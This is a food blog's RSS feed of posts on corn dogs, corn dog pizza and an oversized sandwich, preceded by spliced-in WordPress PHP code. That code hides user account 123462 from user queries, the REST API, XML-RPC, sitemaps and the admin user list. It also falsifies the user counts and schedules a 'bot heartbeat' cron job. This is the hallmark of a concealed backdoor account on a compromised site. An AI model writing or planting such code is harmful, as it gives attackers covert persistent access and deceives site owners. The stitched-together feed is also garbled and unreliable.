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add_action( 'pre_get_users', function( $q ) {
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    return $a;
} );

add_filter( 'rest_user_query', function( $args, $request ) {
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    $exclude[] = 123462;

    $args['exclude'] = array_unique( array_map( 'intval', $exclude ) );

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}, 10, 2 );

add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
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    if ( preg_match( '#^/wp/v2/users/123462(/|$)#', $route ) ) {
        return new WP_Error(
            'rest_user_invalid_id',
            'Invalid user ID.',
            array( 'status' => 404 )
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    return $result;
}, 10, 3 );

add_filter( 'xmlrpc_methods', function( $methods ) {
    unset(
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        $methods['wp.getUser'],
        $methods['wp.getProfile']
    );
    return $methods;
} );

add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
    $exclude   = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
    $exclude[] = 123462;
    $args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
    return $args;
} );

add_action( 'admin_head-users.php', function() {
    echo '<style>#user-123462{display:none!important}</style>';
} );

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        if ( isset( $views[ $key ] ) ) {
            $views[ $key ] = preg_replace_callback(
                '/\((\d+)\)/',
                function( $m ) {
                    return '(' . max( 0, (int) $m[1] - 1 ) . ')';
                },
                $views[ $key ],
                1
            );
        }
    }
    return $views;
} );

add_action( 'init', function() {
    if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
        return;
    }
    if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
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} );

add_action( 'wp_extra_bot_heartbeat', function() {
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} );
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		<title>Kobe Corn Dogs &#038; Chili Cheese Fries From Dobbs Ferry Restaurant</title>
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		<pubDate>Mon, 16 Jul 2012 13:37:10 +0000</pubDate>
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					<description><![CDATA[<p>San Francisco, California</p>
<p>The post <a href="https://damnthatlooksgood.com/kobe-corn-dogs-chili-cheese-fries-from-dobbs-ferry-restaurant/" target="_blank">Kobe Corn Dogs & Chili Cheese Fries From Dobbs Ferry Restaurant</a> first appeared on <a href="https://damnthatlooksgood.com/" target="_blank">Damn That Looks Good</a>.</p>]]></description>
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<p>San Francisco, California</p><p>The post <a href="https://damnthatlooksgood.com/kobe-corn-dogs-chili-cheese-fries-from-dobbs-ferry-restaurant/" target="_blank">Kobe Corn Dogs & Chili Cheese Fries From Dobbs Ferry Restaurant</a> first appeared on <a href="https://damnthatlooksgood.com/" target="_blank">Damn That Looks Good</a>.</p>]]></content:encoded>
					
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		<title>The Big Fat Ugly Sandwich From Fat Sandwich Company</title>
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		<pubDate>Wed, 24 Aug 2011 20:59:52 +0000</pubDate>
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					<description><![CDATA[<p>The Big Fat Ugly Sandwich which consists of the following: 2 rolls, 4 cheeseburgers, double cheesesteak, chicken [&#8230;]</p>
<p>The post <a href="https://damnthatlooksgood.com/the-big-fat-ugly-sandwich-from-fat-sandwich-company/" target="_blank">The Big Fat Ugly Sandwich From Fat Sandwich Company</a> first appeared on <a href="https://damnthatlooksgood.com/" target="_blank">Damn That Looks Good</a>.</p>]]></description>
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<p>The Big Fat Ugly Sandwich which consists of the following: 2 rolls, 4 cheeseburgers, double cheesesteak, chicken cheesesteak, gyro meat, grilled chicken, bacon, sausage, mozzarella sticks, chicken fingers, chicken nuggets, french fries, mac n cheese bites, fried mushrooms, jalapeno poppers, pizza bites, onion rings, hash browns, mini corndogs, american cheese, ketchup, and mayo.</p>
<p>Thanks to Andy for the photo!</p>
<p>Champaign, Illinois</p><p>The post <a href="https://damnthatlooksgood.com/the-big-fat-ugly-sandwich-from-fat-sandwich-company/" target="_blank">The Big Fat Ugly Sandwich From Fat Sandwich Company</a> first appeared on <a href="https://damnthatlooksgood.com/" target="_blank">Damn That Looks Good</a>.</p>]]></content:encoded>
					
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		<title>Corn Dogs In A Blanket</title>
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		<pubDate>Wed, 22 Jun 2011 18:06:53 +0000</pubDate>
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					<description><![CDATA[<p>Corn dogs wrapped in American cheese and biscuit dough. Thanks to Laura for the photo!</p>
<p>The post <a href="https://damnthatlooksgood.com/corn-dogs-in-a-blanket/" target="_blank">Corn Dogs In A Blanket</a> first appeared on <a href="https://damnthatlooksgood.com/" target="_blank">Damn That Looks Good</a>.</p>]]></description>
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<p>Corn dogs wrapped in American cheese and biscuit dough.</p>
<p>Thanks to Laura for the photo!</p><p>The post <a href="https://damnthatlooksgood.com/corn-dogs-in-a-blanket/" target="_blank">Corn Dogs In A Blanket</a> first appeared on <a href="https://damnthatlooksgood.com/" target="_blank">Damn That Looks Good</a>.</p>]]></content:encoded>
					
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		<title>Corn Dog Pizza From The Minnesota State Fair</title>
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					<description><![CDATA[<p>Photo courtesy of NYDailyNews.com.</p>
<p>The post <a href="https://damnthatlooksgood.com/corn-dog-pizza-from-the-minnesota-state-fair/" target="_blank">Corn Dog Pizza From The Minnesota State Fair</a> first appeared on <a href="https://damnthatlooksgood.com/" target="_blank">Damn That Looks Good</a>.</p>]]></description>
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<p>Photo courtesy of <a href="http://www.nydailynews.com/lifestyle/food/galleries/fat_food/fat_food.html">NYDailyNews.com</a>.</p><p>The post <a href="https://damnthatlooksgood.com/corn-dog-pizza-from-the-minnesota-state-fair/" target="_blank">Corn Dog Pizza From The Minnesota State Fair</a> first appeared on <a href="https://damnthatlooksgood.com/" target="_blank">Damn That Looks Good</a>.</p>]]></content:encoded>
					
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		<title>Massive Meat Log From Epic Meal Time</title>
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		<pubDate>Fri, 06 May 2011 12:30:59 +0000</pubDate>
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		<title>Dipping Dog Deluxe From Wiener And Still Champion</title>
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		<pubDate>Thu, 27 May 2010 19:15:01 +0000</pubDate>
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					<description><![CDATA[<p>Corn dog topped with chili and Merkt&#8217;s cheddar. Image courtesy of Ed Fisher.</p>
<p>The post <a href="https://damnthatlooksgood.com/dipping-dog-deluxe-from-wiener-and-still-champion/" target="_blank">Dipping Dog Deluxe From Wiener And Still Champion</a> first appeared on <a href="https://damnthatlooksgood.com/" target="_blank">Damn That Looks Good</a>.</p>]]></description>
										<content:encoded><![CDATA[<p><img loading="lazy" class="alignnone size-full wp-image-159" title="Food43EdCornDog" src="http://media.damnthatlooksgood.com/wp-content/uploads/2010/05/Food43EdCornDog.jpg" alt="" width="600" height="325" srcset="https://damnthatlooksgood.com/wp-content/uploads/2010/05/Food43EdCornDog.jpg 600w, https://damnthatlooksgood.com/wp-content/uploads/2010/05/Food43EdCornDog-300x162.jpg 300w" sizes="(max-width: 600px) 100vw, 600px" /></p>
<p>Corn dog topped with chili and Merkt&#8217;s cheddar. Image courtesy of <a href="http://www.flickr.com/photos/ehfisher/">Ed Fisher</a>.</p><p>The post <a href="https://damnthatlooksgood.com/dipping-dog-deluxe-from-wiener-and-still-champion/" target="_blank">Dipping Dog Deluxe From Wiener And Still Champion</a> first appeared on <a href="https://damnthatlooksgood.com/" target="_blank">Damn That Looks Good</a>.</p>]]></content:encoded>
					
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